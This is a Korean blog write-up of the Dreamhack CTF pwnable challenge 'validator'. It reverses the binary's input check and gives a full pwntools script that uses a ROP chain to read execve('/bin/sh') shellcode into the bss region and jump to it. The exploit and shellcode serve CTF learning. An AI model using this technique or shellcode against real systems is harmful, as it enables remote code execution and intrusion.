validator
Description 취약한 인증 프로그램을 익스플로잇해 flag를 획득하세요! Hint: 서버 환경에 설치된 5.4.0 이전 버전의 커널에서는, NX Bit가 비활성화되어 있는 경우 읽기 권한이 있는 메모리에 실행 권한
dreamhack.io
문제 분석
주어진 소스코드가 없으므로 IDA를 통해 읽어보았다.
main 함수에는 memset, read, validate함수가 존재하고,
memset은 read 이전에 나오므로 어떻게 수정할 방법이 없는 것 같아 read 이후인 validate 함수를 해석해보았다.
일단 인자로 s 배열과 128을 넘겼으므로,
아래의 a1 = s, a2 = 128임을 알 수 있다.
위와 같은 코드로 이루어져있는데 이를 해석하는데는 어렵지 않았다.
먼저 10바이트는 correct 배열과 일치해야한다.
그렇지 않으면 exit으로 함수를 끝내버린다.
correct를 눌러보니 아래와 같이 "DREAMHACK!" 이라는 문자열임을 쉽게 알 수 있었다.
두 번째 반복문을 해석해보니
배열의 나머지에는 다음 배열 값 + 1 한 값이어야 한다.
쉽게 말해, s[11] = 'B' 라면 s[12] = 'A' 이어야한다.
이를 128바이트까지 채워야한다.
checksec으로 보호기법을 읽어보니
아무런 보호 기법이 없는 것을 알 수 있다.
그러므로 validate 함수의 ret에 원하는 코드를 주입할 수 있을 것이고,
이 부분에 system("/bin/sh")를 실행시킬 셸 코드를 주입하면 될 것이다.
Exploit
그래서 시도한 방법은
먼저 rdi = 0, rsi = RWX 가능 영역, rdx = 0x100 (큰 수)를 넣고
read_plt 호출을 통해 RWX가 가능한 영역의 주소를 호출한다.
이후 셸코드를 삽입하면 될 것이라고 생각했다.
이를 위해 먼저 리턴 가젯을 불러왔다.
이후 RWX가 가능한 영역 중 하나인 bss 영역의 주소를 readelf -S ./validator_dist 명령어를 통해 얻어왔다.
이제 코드를 작성하면 된다.
먼저 10바이트는 "DREAMHACK!"으로 채우고,
rbp 영역까지 총 136바이트 (128 + 8)를 내림차순으로 한 번에 채웠다.
이후 ret를 원하는 결과를 도출하기 위해 리턴 가젯으로 덮어씌웠다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
from pwn import *
p = remote("host3.dreamhack.games", 18213)
e = ELF("./validator_dist")
read_plt = e.plt["read"]
ret = 0x000000000040044e
pop_rdi = 0x00000000004006f3
pop_rsi_r15 = 0x00000000004006f1
pop_rdx = 0x000000000040057b
shellcode = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62
\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05" payload = b"DREAMHACK!" # 10자리
for i in reversed(range(126)):
payload += bytes([i])
x = 0x60104b # readelf -S ./validator_dist로 읽은 bss 영역 주소
payload += p64(pop_rdi) + p64(0) # rdi = 0
payload += p64(pop_rsi_r15) + p64(x) + p64(0) # rsi = X가 가능한 영역, r15 = 0
payload += p64(pop_rdx) + p64(0x100) # 무지성 큰 용량
payload += p64(read_plt)
payload += p64(x) # x로 이동
p.send(payload)
p.send(shellcode) # read 실행 후 x 영역에 셸코드 입력
p.interactive()
|
cs |
'Hacking > system' 카테고리의 다른 글
[Pwnable] NX, ASLR, PIE, RELRO 정리 (0) | 2024.02.06 |
---|---|
baby-bof (0) | 2024.01.20 |
basic_exploitation_003 (0) | 2024.01.20 |